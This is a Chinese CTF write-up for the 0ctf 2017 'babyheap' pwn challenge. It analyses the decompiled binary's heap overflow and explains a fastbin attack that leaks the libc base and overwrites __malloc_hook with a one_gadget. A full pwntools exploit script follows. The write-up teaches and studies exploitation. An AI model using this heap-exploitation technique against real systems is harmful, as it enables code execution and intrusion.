FastBinAttack实战 - babyheap_0ctf_2017

First Post:

Last Update:

分析利用:

        无壳,IDA打开后可以看出题目是基本的增删与展示(函数名为方便阅读而修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; // [rsp+8h] [rbp-8h]

v4 = initMmapList();
while ( 1 )
{
Menu();
switch ( getInput() )
{
case 1LL:
Allocate(v4);
break;
case 2LL:
Fill(v4);
break;
case 3LL:
Free(v4);
break;
case 4LL:
Dump((__int64)v4);
break;
case 5LL:
return 0LL;
default:
continue;
}
}
}

        v4通过mmap分配了“一条链表”,但通过Allocate函数可以知道,实际的储存结构是类似chunk似的结构体:

1
2
3
00000000    size_t InUse
00000008 size_t Size
00000010 size_t content

         每次Allocate都会遍历v4链表的每个InUse位,如果该位置0,就表示这个索引没有被使用,就会将该位置1,然后根据Size调用calloc,将返回值赋给content

        然后可以看看Free函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
*(_DWORD *)(24LL * v2 + a1) = 0;
*(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
free(*(void **)(24LL * v2 + a1 + 16));
result = 24LL * v2 + a1;
*(_QWORD *)(result + 16) = 0LL;
}
}
return result;
}

        由于free之后将指针全都清零了,所以指针复用在这里不太行

        然后是Fill函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+18h] [rbp-8h]
int v3; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = getInput();
v2 = result;
if ( (int)result >= 0 && (int)result <= 15 )
{
result = *(unsigned int *)(24LL * (int)result + a1);
if ( (_DWORD)result == 1 )
{
printf("Size: ");
result = getInput();
v3 = result;
if ( (int)result > 0 )
{
printf("Content: ");
result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
}
}
}
return result;
}

         可以看到,该函数没有限制我们的输入,因此我们可以让content开辟过大的chunk来达成堆溢出

        最后是Dump:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int __fastcall Dump(__int64 a1)
{
int result; // eax
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
result = getInput();
v2 = result;
if ( result >= 0 && result <= 15 )
{
result = *(_DWORD *)(24LL * result + a1);
if ( result == 1 )
{
puts("Content: ");
sub_130F(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
result = puts(byte_14F1);
}
}
return result;
}

         没有什么可用点,但我们可以用来泄露地址

        我们最终的目的是修改malloc_hook或者free_hook的地址为某个one_gadget

        为此我们需要泄露libc基址、通过伪造fake_chunk来向hook附近通过Fill函数填充溢出覆盖

        Unsorted Bin双向链表能够将表头放入fd指针,通过Dump就能够泄露出库函数地址

如下过程参考CTF-WIKI:

        首先需要泄露libc基址,为此我们需要通过Unsorted Bin获取fd指针,因此需要构造指针复用的情况,将两个索引的content指针指向同一个chunk

        适当开辟几个符合Fast Bin的chunk(不一定要像笔者这样,指需理解思路即可),idx4作为泄露基地址的chunk,idx 0用于通过堆溢出来复写idx 1,idx 3来复写 idx4

        然后用Free函数构成Fast Bin链表 idx1—>idx2

1
2
3
4
5
6
7
allocate(0x10) #idx 0
allocate(0x10) #idx 1
allocate(0x10) #idx 2
allocate(0x10) #idx 3
allocate(0x80) #idx 4
free(2)
free(1)

        因为每个堆都是按页对齐的,所以如果将idx 1的fd指针的最后一个字节指向0x80就会指向idx 4,由此构造出Fast Bin链 idx1—>idx 4

        由于Fast Bin有chunk块大小检查,所以将idx 4的size复写为与idx 1相同来绕过检查

1
2
3
4
payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)
payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)

        Fast Bin为LIFO,接下来再重新开辟会idx 1和idx 2,然后再将idx 4的size修改回去

1
2
3
4
allocate(0x10) #idx 1
allocate(0x10) #idx 2
payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)

        此时,idx 2和idx 4的content指向了同一个地址,只要我们将idx 4释放掉,该chunk就会被放入Unsorted Bin,并增加fd指针,然后再Dump出idx 2即可泄露libc基址(不过需要先开辟idx 5以放置idx 4和Top chunk合并)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
allocate(0x100) #idx 5
free(4)
dump(2)
p.recvuntil('Content: \n')

unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)

main_arena_offset=0x3c4b20

def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset

unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)

        main_arena_offset是写在每个libc中的固定值

        有师傅写过获取的脚本项目:https://github.com/bash-c/main_arena_offset

        unsortedbin_offset_main_arena这些值也都有固定的计算方式

        因此现在已经泄露出了libc基址

        然后现在将放在Unsorted Bin中的idx 4开辟回来,但我们只开辟0x70的空间,剩下的0x20将被放回Unsorted Bin,而接下来释放idx 4又将其放入Fast Bin

1
2
allocate(0x60)
free(4)

        接下来我们使用gdb附加调试来寻找可以伪造fake_chunk的地方:

1
2
3
4
5
6
gdb-peda$ x /10gx &__malloc_hook-6
0x7f03f6128ae0 <_IO_wide_data_0+288>:0x00000000000000000x0000000000000000
0x7f03f6128af0 <_IO_wide_data_0+304>:0x00007f03f61272600x0000000000000000
0x7f03f6128b00 <__memalign_hook>:0x00007f03f5de9ea00x00007f03f5de9a70
0x7f03f6128b10 <__malloc_hook>:0x00000000000000000x0000000000000000
0x7f03f6128b20 <main_arena>:0x00000000000000000x0000000000000000

        (不知道是gdb还是pwndbg的原因,竟然能直接这样查看到地址……)

        我们可以发现0x7f这个数字比较适合被当作fake_chunk的Size ,于是我们将这个这个fake_chunk复写到idx 4的fd指针

1
2
3
4
fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)

        然后用allocate将fake_chunk开辟回来,现在就能通过填充idx 6来溢出到malloc_hook了,然后再调用malloc即可拿到shell

1
2
3
4
5
6
7
8
allocate(0x60) #idx 4
allocate(0x60) #idx 6

one_garget=0x4526a+libc_base
payload='a'*(0x13)+p64(one_garget)
fill(6,payload)

allocate(0x100)

        但值得注意的是,这道题在于2017年的0ctf上的赛题,在当时使用 libc2.23-0ubuntu11.2版本的共享库,但时至今日,Ubuntu16已经不再使用该版本,而是使用libc2.23-0ubuntu11.3版本共享库,而buu上也使用前者版本

        因此笔者使用libc2.23-0ubuntu11.3中得到的one_gadget虽然在本地拿到了shell,但在远程服务器上却只能通过一些以前的wp来获取当时版本的one_gadget,这里记一下比较常用的

1
2
og1=[0x45216,0x4526a,0xf02a4,0xf1147]    #libc2.23-0ubuntu11.3
og2=[0x45226,0x4527a,0xf0364,0xf1207] #libc2.23-0ubuntu11.2

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
from pwn import *
context.log_level='debug'
context.os='linux'
context.arch='amd64'

p=process('./babyheap_0ctf_2017')
#p=remote("node4.buuoj.cn",27641)
elf=ELF('./babyheap_0ctf_2017')
libc=elf.libc

def cmd(x):
p.sendlineafter('Command:',str(x))

def allocate(size):
cmd(1)
p.sendlineafter('Size:',str(size))

def fill(index,content):
cmd(2)
p.sendlineafter('Index:',str(index))
p.sendlineafter('Size:',str(len(content)))
p.sendlineafter('Content:',content)

def free(index):
cmd(3)
p.sendlineafter('Index:',str(index))

def dump(index):
cmd(4)
p.sendlineafter("Index:",str(index))

def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 #
return offset


allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x10)
allocate(0x80)

free(2)
free(1)

payload='a'*0x10+p64(0)+p64(0x21)+p8(0x80)
fill(0,payload)



payload='a'*0x10+p64(0)+p64(0x21)
fill(3,payload)
allocate(0x10)
allocate(0x10)

payload='a'*0x10+p64(0)+p64(0x91)
fill(3,payload)

allocate(0x100)
free(4)
dump(2)
p.recvuntil('Content: \n')

unsortedbin_addr=u64(p.recv(8))
print hex(unsortedbin_addr)

main_arena_offset=0x3c4b20

unsortedbin_offset_main_arena = offset_bin_main_arena(0)
main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
libc_base = main_arena_addr - main_arena_offset
print hex(libc_base)

one_garget=0x4526a+libc_base


allocate(0x60)
free(4)

gdb.attach(p)

fake_chunk=main_arena_addr-0x33
print hex(fake_chunk)
fakechunk=p64(fake_chunk)
fill(2,fakechunk)

allocate(0x60)
allocate(0x60) #6

payload='a'*(0x13)+p64(one_garget)
fill(6,payload)
allocate(0x100)


p.interactive()

插画ID:91746115